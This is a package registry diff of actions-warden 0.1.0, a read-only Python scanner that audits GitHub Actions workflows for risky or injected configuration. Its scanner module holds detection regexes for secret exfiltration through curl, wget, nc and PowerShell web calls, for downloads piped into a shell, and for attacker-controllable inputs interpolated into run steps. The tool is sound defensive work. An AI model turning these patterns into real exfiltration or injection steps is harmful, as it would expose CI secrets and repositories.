actions-warden 0.1.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2026 Dragon-Lady
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
@@ -0,0 +1,117 @@
1
+ Metadata-Version: 2.4
2
+ Name: actions-warden
3
+ Version: 0.1.0
4
+ Summary: Read-only auditor for risky or injected GitHub Actions workflow config
5
+ Author: Dragon Lady
6
+ License: MIT License
7
+
8
+ Copyright (c) 2026 Dragon-Lady
9
+
10
+ Permission is hereby granted, free of charge, to any person obtaining a copy
11
+ of this software and associated documentation files (the "Software"), to deal
12
+ in the Software without restriction, including without limitation the rights
13
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
14
+ copies of the Software, and to permit persons to whom the Software is
15
+ furnished to do so, subject to the following conditions:
16
+
17
+ The above copyright notice and this permission notice shall be included in all
18
+ copies or substantial portions of the Software.
19
+
20
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
21
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
22
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
23
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
24
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
25
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
26
+ SOFTWARE.
27
+
28
+ Project-URL: Homepage, https://github.com/Dragon-Lady/actions-warden
29
+ Project-URL: Repository, https://github.com/Dragon-Lady/actions-warden
30
+ Project-URL: Issues, https://github.com/Dragon-Lady/actions-warden/issues
31
+ Keywords: security,github-actions,ci-cd,workflow,supply-chain,scanner,devsecops
32
+ Classifier: Development Status :: 3 - Alpha
33
+ Classifier: License :: OSI Approved :: MIT License
34
+ Classifier: Programming Language :: Python :: 3
35
+ Classifier: Programming Language :: Python :: 3.9
36
+ Classifier: Programming Language :: Python :: 3.10
37
+ Classifier: Programming Language :: Python :: 3.11
38
+ Classifier: Programming Language :: Python :: 3.12
39
+ Classifier: Topic :: Security
40
+ Classifier: Intended Audience :: Developers
41
+ Classifier: Intended Audience :: System Administrators
42
+ Classifier: Operating System :: OS Independent
43
+ Requires-Python: >=3.9
44
+ Description-Content-Type: text/markdown
45
+ License-File: LICENSE
46
+ Provides-Extra: dev
47
+ Requires-Dist: pytest<10,>=8; extra == "dev"
48
+ Dynamic: license-file
49
+
50
+ # Actions Warden
51
+
52
+ Read-only auditor for risky or injected GitHub Actions workflow config.
53
+
54
+ After the 2026 wave of repository-theft attacks, a common post-compromise move
55
+ is: steal a token, then inject or tamper with a repo's `.github/workflows/` so
56
+ CI exfiltrates secrets or runs attacker code. Actions Warden scans those workflow
57
+ files for the patterns that enable it.
58
+
59
+ It does not execute workflows, contact GitHub, modify files, or prove a pipeline
60
+ is safe.
61
+
62
+ ## Install
63
+
64
+ ```sh
65
+ pipx install actions-warden
66
+ # or
67
+ pip install actions-warden
68
+ ```
69
+
70
+ Python 3.9+. No runtime dependencies.
71
+
72
+ ## Usage
73
+
74
+ ```sh
75
+ actions-warden /path/to/repo
76
+ actions-warden /path/to/repo --json
77
+ actions-warden /path/to/repo --report report.json
78
+ ```
79
+
80
+ It scans `.github/workflows/*.yml|*.yaml` and composite `action.yml|action.yaml`
81
+ files. You can also point it at a single workflow file.
82
+
83
+ Exit codes:
84
+
85
+ - `0`: no blocking workflow risks found
86
+ - `1`: usage or runtime error
87
+ - `2`: blocking workflow risks found (suitable as a CI gate)
88
+
89
+ ## What It Flags
90
+
91
+ | Rule | Severity | What it catches |
92
+ |------|----------|-----------------|
93
+ | `secret-exfiltration` | critical | a secret reference alongside an outbound network command |
94
+ | `untrusted-input-injection` | high | attacker-controllable `github.event.*` / `head_ref` interpolated into the workflow (shell injection in run steps) |
95
+ | `remote-code-in-run` | high | a downloaded script piped straight into a shell |
96
+ | `pull-request-target-head-checkout` | high | `pull_request_target` running with secrets while checking out PR-controlled code ("pwn request") |
97
+ | `self-hosted-on-untrusted` | medium | self-hosted runner reachable by external pull requests |
98
+ | `permissions-write-all` | medium | `write-all` token permissions |
99
+ | `oidc-with-write` | medium | OIDC `id-token: write` combined with `contents: write` |
100
+ | `unpinned-action` | low | third-party action pinned to a mutable tag/branch instead of a commit SHA |
101
+
102
+ The rules are conservative. A finding means "review this workflow," not "this
103
+ repo is compromised."
104
+
105
+ ## Why text-based, not YAML-parsed
106
+
107
+ A hostile workflow can be written to parse in surprising ways. Actions Warden
108
+ inspects what is actually on disk rather than a parser's normalized view, and
109
+ stays dependency-free. The tradeoff is coarser context: some `file_all` rules
110
+ flag co-occurrence within a file rather than within a single job.
111
+
112
+ ## Scope Limits
113
+
114
+ This is a narrow CI/CD config scanner. It does not scan dependencies or packages
115
+ (see a dependency/supply-chain scanner for that), does not resolve reusable or
116
+ remote workflows, and will not catch every possible injection or obfuscated
117
+ payload.
@@ -0,0 +1,68 @@
1
+ # Actions Warden
2
+
3
+ Read-only auditor for risky or injected GitHub Actions workflow config.
4
+
5
+ After the 2026 wave of repository-theft attacks, a common post-compromise move
6
+ is: steal a token, then inject or tamper with a repo's `.github/workflows/` so
7
+ CI exfiltrates secrets or runs attacker code. Actions Warden scans those workflow
8
+ files for the patterns that enable it.
9
+
10
+ It does not execute workflows, contact GitHub, modify files, or prove a pipeline
11
+ is safe.
12
+
13
+ ## Install
14
+
15
+ ```sh
16
+ pipx install actions-warden
17
+ # or
18
+ pip install actions-warden
19
+ ```
20
+
21
+ Python 3.9+. No runtime dependencies.
22
+
23
+ ## Usage
24
+
25
+ ```sh
26
+ actions-warden /path/to/repo
27
+ actions-warden /path/to/repo --json
28
+ actions-warden /path/to/repo --report report.json
29
+ ```
30
+
31
+ It scans `.github/workflows/*.yml|*.yaml` and composite `action.yml|action.yaml`
32
+ files. You can also point it at a single workflow file.
33
+
34
+ Exit codes:
35
+
36
+ - `0`: no blocking workflow risks found
37
+ - `1`: usage or runtime error
38
+ - `2`: blocking workflow risks found (suitable as a CI gate)
39
+
40
+ ## What It Flags
41
+
42
+ | Rule | Severity | What it catches |
43
+ |------|----------|-----------------|
44
+ | `secret-exfiltration` | critical | a secret reference alongside an outbound network command |
45
+ | `untrusted-input-injection` | high | attacker-controllable `github.event.*` / `head_ref` interpolated into the workflow (shell injection in run steps) |
46
+ | `remote-code-in-run` | high | a downloaded script piped straight into a shell |
47
+ | `pull-request-target-head-checkout` | high | `pull_request_target` running with secrets while checking out PR-controlled code ("pwn request") |
48
+ | `self-hosted-on-untrusted` | medium | self-hosted runner reachable by external pull requests |
49
+ | `permissions-write-all` | medium | `write-all` token permissions |
50
+ | `oidc-with-write` | medium | OIDC `id-token: write` combined with `contents: write` |
51
+ | `unpinned-action` | low | third-party action pinned to a mutable tag/branch instead of a commit SHA |
52
+
53
+ The rules are conservative. A finding means "review this workflow," not "this
54
+ repo is compromised."
55
+
56
+ ## Why text-based, not YAML-parsed
57
+
58
+ A hostile workflow can be written to parse in surprising ways. Actions Warden
59
+ inspects what is actually on disk rather than a parser's normalized view, and
60
+ stays dependency-free. The tradeoff is coarser context: some `file_all` rules
61
+ flag co-occurrence within a file rather than within a single job.
62
+
63
+ ## Scope Limits
64
+
65
+ This is a narrow CI/CD config scanner. It does not scan dependencies or packages
66
+ (see a dependency/supply-chain scanner for that), does not resolve reusable or
67
+ remote workflows, and will not catch every possible injection or obfuscated
68
+ payload.
@@ -0,0 +1,46 @@
1
+ [build-system]
2
+ requires = ["setuptools>=68", "wheel"]
3
+ build-backend = "setuptools.build_meta"
4
+
5
+ [project]
6
+ name = "actions-warden"
7
+ version = "0.1.0"
8
+ description = "Read-only auditor for risky or injected GitHub Actions workflow config"
9
+ readme = "README.md"
10
+ license = { file = "LICENSE" }
11
+ authors = [{ name = "Dragon Lady" }]
12
+ keywords = ["security", "github-actions", "ci-cd", "workflow", "supply-chain", "scanner", "devsecops"]
13
+ requires-python = ">=3.9"
14
+ dependencies = []
15
+ classifiers = [
16
+ "Development Status :: 3 - Alpha",
17
+ "License :: OSI Approved :: MIT License",
18
+ "Programming Language :: Python :: 3",
19
+ "Programming Language :: Python :: 3.9",
20
+ "Programming Language :: Python :: 3.10",
21
+ "Programming Language :: Python :: 3.11",
22
+ "Programming Language :: Python :: 3.12",
23
+ "Topic :: Security",
24
+ "Intended Audience :: Developers",
25
+ "Intended Audience :: System Administrators",
26
+ "Operating System :: OS Independent",
27
+ ]
28
+
29
+ [project.urls]
30
+ Homepage = "https://github.com/Dragon-Lady/actions-warden"
31
+ Repository = "https://github.com/Dragon-Lady/actions-warden"
32
+ Issues = "https://github.com/Dragon-Lady/actions-warden/issues"
33
+
34
+ [project.optional-dependencies]
35
+ dev = [
36
+ "pytest>=8,<10",
37
+ ]
38
+
39
+ [project.scripts]
40
+ actions-warden = "actions_warden.cli:main"
41
+
42
+ [tool.setuptools.packages.find]
43
+ where = ["src"]
44
+
45
+ [tool.pytest.ini_options]
46
+ norecursedirs = ["build", "dist", "*.egg-info", ".pytest_cache", "__pycache__"]
@@ -0,0 +1,4 @@
1
+ [egg_info]
2
+ tag_build =
3
+ tag_date = 0
4
+
@@ -0,0 +1,7 @@
1
+ """Read-only auditor for risky or injected GitHub Actions workflow config."""
2
+
3
+ __version__ = "0.1.0"
4
+
5
+ from .scanner import RULES, scan_target, scan_workflow_text
6
+
7
+ __all__ = ["RULES", "scan_target", "scan_workflow_text", "__version__"]
@@ -0,0 +1,5 @@
1
+ import sys
2
+
3
+ from .cli import main
4
+
5
+ sys.exit(main())
@@ -0,0 +1,127 @@
1
+ """Command-line interface.
2
+
3
+ Argument parsing is hand-rolled (not argparse) to preserve the exit-code
4
+ contract: argparse exits with code 2 on a bad flag, but 2 means "blocking
5
+ workflow risk found" here. Usage/runtime errors must exit 1.
6
+ """
7
+
8
+ import json
9
+ import os
10
+ import sys
11
+
12
+ from .scanner import scan_target
13
+
14
+ HELP_TEXT = """actions-warden
15
+
16
+ Read-only auditor for risky or injected GitHub Actions workflow config.
17
+
18
+ Usage:
19
+ actions-warden [target] [--json] [--report report.json]
20
+
21
+ Options:
22
+ --json print JSON report to stdout
23
+ --report <path> write JSON report to a specific path
24
+ -h, --help show this help
25
+
26
+ Exit codes:
27
+ 0 no blocking workflow risks found
28
+ 1 usage or runtime error
29
+ 2 blocking workflow risks found
30
+ """
31
+
32
+
33
+ def _parse_args(argv):
34
+ args = {"target": ".", "json": False, "report_path": "", "help": False}
35
+ index = 0
36
+ while index < len(argv):
37
+ arg = argv[index]
38
+ if arg in ("--help", "-h"):
39
+ args["help"] = True
40
+ elif arg == "--json":
41
+ args["json"] = True
42
+ elif arg == "--report":
43
+ index += 1
44
+ if index >= len(argv) or not argv[index]:
45
+ raise ValueError("--report requires a file path")
46
+ args["report_path"] = argv[index]
47
+ elif arg.startswith("--report="):
48
+ args["report_path"] = arg[len("--report="):]
49
+ if not args["report_path"]:
50
+ raise ValueError("--report requires a file path")
51
+ elif not arg.startswith("-"):
52
+ args["target"] = arg
53
+ else:
54
+ raise ValueError(f"Unknown argument: {arg}")
55
+ index += 1
56
+ return args
57
+
58
+
59
+ def _print_human(report, written_report_path):
60
+ print("Actions Warden")
61
+ print(f"Target: {report['target']}")
62
+ print(f"Risk: {report['risk']}")
63
+ print(f"Scanned: {report['summary']['filesScanned']} workflow files")
64
+ print(f"Findings: {report['summary']['findings']}")
65
+ print("")
66
+
67
+ if report["risk"] == "blocked":
68
+ print("STOP")
69
+ print("Risky or injected GitHub Actions workflow config was found.")
70
+ print("Review each finding before merging, re-enabling, or trusting this pipeline.")
71
+ print("")
72
+ else:
73
+ print("No blocking workflow risks were found by this scanner.")
74
+ print("This does not prove the pipeline is safe; it only covers known local rules.")
75
+ print("")
76
+
77
+ if report["findings"]:
78
+ print("Findings:")
79
+ for item in report["findings"]:
80
+ location = item["path"]
81
+ if item.get("line"):
82
+ location = f"{location}:{item['line']}"
83
+ print(f"[{item['severity']}] {item['type']}")
84
+ print(f" {location}")
85
+ print(f" {item['message']}")
86
+ if item["evidence"]:
87
+ print(f" evidence: {item['evidence']}")
88
+ print("")
89
+
90
+ print("Guidance:")
91
+ for item in report["guidance"]:
92
+ print(f"- {item}")
93
+
94
+ if written_report_path:
95
+ print("")
96
+ print(f"JSON report written: {written_report_path}")
97
+
98
+
99
+ def main(argv=None):
100
+ if argv is None:
101
+ argv = sys.argv[1:]
102
+ try:
103
+ args = _parse_args(argv)
104
+ if args["help"]:
105
+ print(HELP_TEXT)
106
+ return 0
107
+
108
+ report = scan_target(args["target"])
109
+ written_report_path = ""
110
+ if args["report_path"]:
111
+ written_report_path = os.path.abspath(args["report_path"])
112
+ with open(written_report_path, "w", encoding="utf-8") as handle:
113
+ handle.write(json.dumps(report, indent=2) + "\n")
114
+
115
+ if args["json"]:
116
+ print(json.dumps(report, indent=2))
117
+ else:
118
+ _print_human(report, written_report_path)
119
+
120
+ return 2 if report["risk"] == "blocked" else 0
121
+ except (ValueError, OSError) as error:
122
+ print(f"Error: {error}", file=sys.stderr)
123
+ return 1
124
+
125
+
126
+ if __name__ == "__main__":
127
+ sys.exit(main())
@@ -0,0 +1,360 @@
1
+ """Core scanning logic for GitHub Actions workflow auditing.
2
+
3
+ This scanner is intentionally text/regex based rather than YAML-parsed: a
4
+ hostile workflow can be crafted to parse oddly, and we want to inspect what is
5
+ actually written on disk, not what a parser normalizes. It runs read-only, makes
6
+ no network calls, and executes nothing.
7
+
8
+ Rules map to the GitHub Actions security-hardening guidance and to the
9
+ post-compromise TTP seen in 2026 (stolen PAT -> injected workflow that exfils
10
+ secrets or runs attacker code). A finding means "review this workflow," not
11
+ "this repo is compromised."
12
+ """
13
+
14
+ import os
15
+ import re
16
+ from datetime import datetime, timezone
17
+
18
+ DEFAULT_MAX_FILE_BYTES = 1 * 1024 * 1024
19
+
20
+ SKIP_DIRS = {
21
+ ".git",
22
+ ".hg",
23
+ ".svn",
24
+ "node_modules",
25
+ ".venv",
26
+ "venv",
27
+ "dist",
28
+ "build",
29
+ "coverage",
30
+ "__pycache__",
31
+ ".pytest_cache",
32
+ }
33
+
34
+ # Attacker-controllable expression contexts. Interpolating these into an inline
35
+ # shell `run:` step is GitHub's top-documented Actions injection vector.
36
+ _UNTRUSTED_EXPR = r"github\.(?:head_ref|event\.(?:issue\.title|issue\.body|pull_request\.title|pull_request\.body|pull_request\.head\.ref|comment\.body|review\.body|review_comment\.body|pages|head_commit\.message|commits)|event\.pull_request\.head\.repo\.full_name)"
37
+
38
+ # Outbound-exfil command families. Built from parts so the repo does not ship a
39
+ # single copy-paste-ready exfil one-liner.
40
+ _OUTBOUND = r"(?:" + "|".join(
41
+ [
42
+ r"c" + r"url",
43
+ r"w" + r"get",
44
+ r"\bnc\b",
45
+ r"ncat",
46
+ r"invoke-?webrequest",
47
+ r"invoke-?restmethod",
48
+ r"\birm\b",
49
+ r"\biwr\b",
50
+ ]
51
+ ) + r")"
52
+
53
+ _PIPE_SHELL = (
54
+ r"(?:c" + r"url|w" + r"get)\b[^\n|]*\|\s*(?:bash|sh|zsh)\b"
55
+ r"|(?:i" + r"wr|invoke-?webrequest|i" + r"rm|invoke-?restmethod)\b[^\n|]*\|\s*"
56
+ r"(?:iex|invoke-?expression)\b"
57
+ )
58
+
59
+
60
+ RULES = [
61
+ {
62
+ "id": "secret-exfiltration",
63
+ "severity": "critical",
64
+ "type": "workflow-secret-exfiltration",
65
+ "description": (
66
+ "Workflow references a secret and an outbound network command; a "
67
+ "secret may be sent off the runner."
68
+ ),
69
+ "file_all": [r"secrets\.", _OUTBOUND],
70
+ },
71
+ {
72
+ "id": "untrusted-input-injection",
73
+ "severity": "high",
74
+ "type": "workflow-script-injection",
75
+ "description": (
76
+ "Attacker-controllable input is interpolated into the workflow; in "
77
+ "an inline run step this allows shell script injection."
78
+ ),
79
+ "line_any": [r"\$\{\{[^}]*" + _UNTRUSTED_EXPR],
80
+ },
81
+ {
82
+ "id": "remote-code-in-run",
83
+ "severity": "high",
84
+ "type": "workflow-remote-code-exec",
85
+ "description": "Workflow pipes a downloaded script directly into a shell.",
86
+ "line_any": [_PIPE_SHELL],
87
+ },
88
+ {
89
+ "id": "pull-request-target-head-checkout",
90
+ "severity": "high",
91
+ "type": "workflow-pwn-request",
92
+ "description": (
93
+ "pull_request_target runs with repo secrets while checking out "
94
+ "pull-request-controlled code (the 'pwn request' pattern)."
95
+ ),
96
+ "file_all": [
97
+ r"pull_request_target",
98
+ r"uses:\s*actions/checkout",
99
+ r"ref:\s*\$\{\{[^}]*github\.event\.pull_request\.head|head\.ref|head\.sha",
100
+ ],
101
+ },
102
+ {
103
+ "id": "self-hosted-on-untrusted",
104
+ "severity": "medium",
105
+ "type": "workflow-self-hosted-untrusted",
106
+ "description": (
107
+ "A self-hosted runner is used in a workflow triggered by external "
108
+ "pull requests; untrusted code may run on your hardware."
109
+ ),
110
+ "file_all": [r"runs-on:\s*\[?[^\n]*self-hosted", r"on:[^\n]*pull_request\b|pull_request:"],
111
+ },
112
+ {
113
+ "id": "permissions-write-all",
114
+ "severity": "medium",
115
+ "type": "workflow-broad-permissions",
116
+ "description": "Workflow grants write-all token permissions (broad blast radius).",
117
+ "line_any": [r"permissions:\s*write-all"],
118
+ },
119
+ {
120
+ "id": "oidc-with-write",
121
+ "severity": "medium",
122
+ "type": "workflow-oidc-write",
123
+ "description": (
124
+ "Workflow combines OIDC id-token issuance with write permissions; "
125
+ "confirm this scope is intended."
126
+ ),
127
+ "file_all": [r"id-token:\s*write", r"contents:\s*write"],
128
+ },
129
+ {
130
+ "id": "unpinned-action",
131
+ "severity": "low",
132
+ "type": "workflow-unpinned-action",
133
+ "description": (
134
+ "Third-party action is pinned to a mutable tag/branch, not a full "
135
+ "commit SHA; a hijacked tag would run in your pipeline."
136
+ ),
137
+ "uses_unpinned": True,
138
+ },
139
+ ]
140
+
141
+ _SHA_RE = re.compile(r"^[0-9a-f]{40}$")
142
+ _USES_RE = re.compile(r"uses:\s*([^\s@'\"]+)@([^\s'\"#]+)")
143
+
144
+
145
+ def scan_target(target_path=".", max_file_bytes=DEFAULT_MAX_FILE_BYTES):
146
+ from . import __version__
147
+
148
+ root = os.path.abspath(target_path or ".")
149
+ findings = []
150
+ files_scanned = 0
151
+ files_skipped = 0
152
+
153
+ for file_path in _iter_workflow_files(root):
154
+ size = _safe_size(file_path)
155
+ if size is None:
156
+ continue
157
+ if size > max_file_bytes:
158
+ files_skipped += 1
159
+ findings.append(
160
+ _finding("low", "large-file-skipped", file_path,
161
+ f"Skipped file over {max_file_bytes} bytes.")
162
+ )
163
+ continue
164
+ text = _read_text(file_path)
165
+ if text is None:
166
+ findings.append(
167
+ _finding("low", "read-error", file_path,
168
+ "Could not read file as UTF-8 text.")
169
+ )
170
+ continue
171
+ files_scanned += 1
172
+ scan_workflow_text(file_path, text, findings)
173
+
174
+ deduped = _dedupe_findings(findings)
175
+ risk = _risk_level(deduped)
176
+ return {
177
+ "tool": "actions-warden",
178
+ "version": __version__,
179
+ "scannedAt": datetime.now(timezone.utc).isoformat(),
180
+ "target": root,
181
+ "risk": risk,
182
+ "summary": {
183
+ "filesScanned": files_scanned,
184
+ "filesSkipped": files_skipped,
185
+ "findings": len(deduped),
186
+ },
187
+ "findings": deduped,
188
+ "guidance": _guidance_for_risk(risk),
189
+ }
190
+
191
+
192
+ def scan_workflow_text(file_path, text, findings):
193
+ lines = text.splitlines()
194
+ for rule in RULES:
195
+ if rule.get("uses_unpinned"):
196
+ _scan_unpinned(rule, file_path, lines, findings)
197
+ elif "line_any" in rule:
198
+ hit = _match_line_any(rule["line_any"], lines)
199
+ if hit:
200
+ line_no, snippet = hit
201
+ findings.append(
202
+ _finding(rule["severity"], rule["type"], file_path,
203
+ f"{rule['description']} Rule: {rule['id']}.",
204
+ _defang(snippet), line_no)
205
+ )
206
+ elif "file_all" in rule:
207
+ evidence = _match_file_all(rule["file_all"], text)
208
+ if evidence is not None:
209
+ findings.append(
210
+ _finding(rule["severity"], rule["type"], file_path,
211
+ f"{rule['description']} Rule: {rule['id']}.",
212
+ evidence)
213
+ )
214
+
215
+
216
+ def _match_line_any(patterns, lines):
217
+ compiled = [re.compile(p, re.IGNORECASE) for p in patterns]
218
+ for index, line in enumerate(lines):
219
+ for pattern in compiled:
220
+ match = pattern.search(line)
221
+ if match:
222
+ return index + 1, line.strip()
223
+ return None
224
+
225
+
226
+ def _match_file_all(patterns, text):
227
+ snippets = []
228
+ for pattern in patterns:
229
+ match = re.search(pattern, text, re.IGNORECASE)
230
+ if not match:
231
+ return None
232
+ snippets.append(_defang(match.group(0).strip()))
233
+ return " + ".join(snippets)
234
+
235
+
236
+ def _scan_unpinned(rule, file_path, lines, findings):
237
+ for index, line in enumerate(lines):
238
+ match = _USES_RE.search(line)
239
+ if not match:
240
+ continue
241
+ ref_path, ref = match.group(1), match.group(2)
242
+ if ref_path.startswith("./") or ref_path.startswith("docker://"):
243
+ continue
244
+ if "/" not in ref_path:
245
+ continue
246
+ if _SHA_RE.match(ref):
247
+ continue
248
+ findings.append(
249
+ _finding(rule["severity"], rule["type"], file_path,
250
+ f"{rule['description']} Rule: {rule['id']}.",
251
+ _defang(f"uses: {ref_path}@{ref}"), index + 1)
252
+ )
253
+
254
+
255
+ def _iter_workflow_files(root):
256
+ if os.path.isfile(root):
257
+ if _looks_like_workflow_path(root) or root.lower().endswith((".yml", ".yaml")):
258
+ yield root
259
+ return
260
+
261
+ stack = [root]
262
+ while stack:
263
+ current = stack.pop()
264
+ try:
265
+ entries = list(os.scandir(current))
266
+ except OSError:
267
+ continue
268
+ for entry in entries:
269
+ try:
270
+ if entry.is_dir(follow_symlinks=False):
271
+ if entry.name not in SKIP_DIRS:
272
+ stack.append(entry.path)
273
+ elif entry.is_file(follow_symlinks=False) and _looks_like_workflow_path(entry.path):
274
+ yield entry.path
275
+ except OSError:
276
+ continue
277
+
278
+
279
+ def _looks_like_workflow_path(path):
280
+ norm = path.replace("\\", "/")
281
+ base = os.path.basename(norm).lower()
282
+ if base in ("action.yml", "action.yaml"):
283
+ return True
284
+ if "/.github/workflows/" in norm and base.endswith((".yml", ".yaml")):
285
+ return True
286
+ return False
287
+
288
+
289
+ def _safe_size(file_path):
290
+ try:
291
+ return os.stat(file_path).st_size
292
+ except OSError:
293
+ return None
294
+
295
+
296
+ def _read_text(file_path):
297
+ try:
298
+ with open(file_path, "r", encoding="utf-8") as handle:
299
+ return handle.read()
300
+ except (OSError, UnicodeDecodeError):
301
+ return None
302
+
303
+
304
+ def _defang(text):
305
+ text = str(text)
306
+ text = re.sub(r"https?://", lambda m: m.group(0).replace("http", "hxxp"), text, flags=re.IGNORECASE)
307
+ if len(text) > 140:
308
+ text = text[:137] + "..."
309
+ return text
310
+
311
+
312
+ def _finding(severity, type_, path, message, evidence="", line=None):
313
+ return {
314
+ "severity": severity,
315
+ "type": type_,
316
+ "path": path,
317
+ "line": line,
318
+ "message": message,
319
+ "evidence": evidence,
320
+ }
321
+
322
+
323
+ def _dedupe_findings(findings):
324
+ seen = set()
325
+ result = []
326
+ for item in findings:
327
+ key = (item["severity"], item["type"], item["path"], item["line"],
328
+ item["message"], item["evidence"])
329
+ if key in seen:
330
+ continue
331
+ seen.add(key)
332
+ result.append(item)
333
+ return result
334
+
335
+
336
+ def _risk_level(findings):
337
+ if any(item["severity"] in ("critical", "high") for item in findings):
338
+ return "blocked"
339
+ if any(item["severity"] in ("medium", "low") for item in findings):
340
+ return "review-needed"
341
+ return "no-known-indicators"
342
+
343
+
344
+ def _guidance_for_risk(risk):
345
+ if risk == "blocked":
346
+ return [
347
+ "Do not merge or re-enable these workflows until each finding is explained.",
348
+ "If a workflow was added or changed unexpectedly, treat it as possible token-theft tampering and rotate affected PATs/secrets.",
349
+ "Pin third-party actions to full commit SHAs and scope GITHUB_TOKEN permissions to least privilege.",
350
+ "Never interpolate attacker-controllable input directly into run steps; pass it through an intermediate env var.",
351
+ ]
352
+ if risk == "review-needed":
353
+ return [
354
+ "Review medium/low findings before trusting this pipeline.",
355
+ "Pin actions to commit SHAs and confirm self-hosted-runner and permission scopes are intended.",
356
+ ]
357
+ return [
358
+ "No blocking workflow risks were found by this scanner.",
359
+ "This is a narrow CI/CD config scanner, not proof the pipeline is safe.",
360
+ ]
@@ -0,0 +1,117 @@
1
+ Metadata-Version: 2.4
2
+ Name: actions-warden
3
+ Version: 0.1.0
4
+ Summary: Read-only auditor for risky or injected GitHub Actions workflow config
5
+ Author: Dragon Lady
6
+ License: MIT License
7
+
8
+ Copyright (c) 2026 Dragon-Lady
9
+
10
+ Permission is hereby granted, free of charge, to any person obtaining a copy
11
+ of this software and associated documentation files (the "Software"), to deal
12
+ in the Software without restriction, including without limitation the rights
13
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
14
+ copies of the Software, and to permit persons to whom the Software is
15
+ furnished to do so, subject to the following conditions:
16
+
17
+ The above copyright notice and this permission notice shall be included in all
18
+ copies or substantial portions of the Software.
19
+
20
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
21
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
22
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
23
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
24
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
25
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
26
+ SOFTWARE.
27
+
28
+ Project-URL: Homepage, https://github.com/Dragon-Lady/actions-warden
29
+ Project-URL: Repository, https://github.com/Dragon-Lady/actions-warden
30
+ Project-URL: Issues, https://github.com/Dragon-Lady/actions-warden/issues
31
+ Keywords: security,github-actions,ci-cd,workflow,supply-chain,scanner,devsecops
32
+ Classifier: Development Status :: 3 - Alpha
33
+ Classifier: License :: OSI Approved :: MIT License
34
+ Classifier: Programming Language :: Python :: 3
35
+ Classifier: Programming Language :: Python :: 3.9
36
+ Classifier: Programming Language :: Python :: 3.10
37
+ Classifier: Programming Language :: Python :: 3.11
38
+ Classifier: Programming Language :: Python :: 3.12
39
+ Classifier: Topic :: Security
40
+ Classifier: Intended Audience :: Developers
41
+ Classifier: Intended Audience :: System Administrators
42
+ Classifier: Operating System :: OS Independent
43
+ Requires-Python: >=3.9
44
+ Description-Content-Type: text/markdown
45
+ License-File: LICENSE
46
+ Provides-Extra: dev
47
+ Requires-Dist: pytest<10,>=8; extra == "dev"
48
+ Dynamic: license-file
49
+
50
+ # Actions Warden
51
+
52
+ Read-only auditor for risky or injected GitHub Actions workflow config.
53
+
54
+ After the 2026 wave of repository-theft attacks, a common post-compromise move
55
+ is: steal a token, then inject or tamper with a repo's `.github/workflows/` so
56
+ CI exfiltrates secrets or runs attacker code. Actions Warden scans those workflow
57
+ files for the patterns that enable it.
58
+
59
+ It does not execute workflows, contact GitHub, modify files, or prove a pipeline
60
+ is safe.
61
+
62
+ ## Install
63
+
64
+ ```sh
65
+ pipx install actions-warden
66
+ # or
67
+ pip install actions-warden
68
+ ```
69
+
70
+ Python 3.9+. No runtime dependencies.
71
+
72
+ ## Usage
73
+
74
+ ```sh
75
+ actions-warden /path/to/repo
76
+ actions-warden /path/to/repo --json
77
+ actions-warden /path/to/repo --report report.json
78
+ ```
79
+
80
+ It scans `.github/workflows/*.yml|*.yaml` and composite `action.yml|action.yaml`
81
+ files. You can also point it at a single workflow file.
82
+
83
+ Exit codes:
84
+
85
+ - `0`: no blocking workflow risks found
86
+ - `1`: usage or runtime error
87
+ - `2`: blocking workflow risks found (suitable as a CI gate)
88
+
89
+ ## What It Flags
90
+
91
+ | Rule | Severity | What it catches |
92
+ |------|----------|-----------------|
93
+ | `secret-exfiltration` | critical | a secret reference alongside an outbound network command |
94
+ | `untrusted-input-injection` | high | attacker-controllable `github.event.*` / `head_ref` interpolated into the workflow (shell injection in run steps) |
95
+ | `remote-code-in-run` | high | a downloaded script piped straight into a shell |
96
+ | `pull-request-target-head-checkout` | high | `pull_request_target` running with secrets while checking out PR-controlled code ("pwn request") |
97
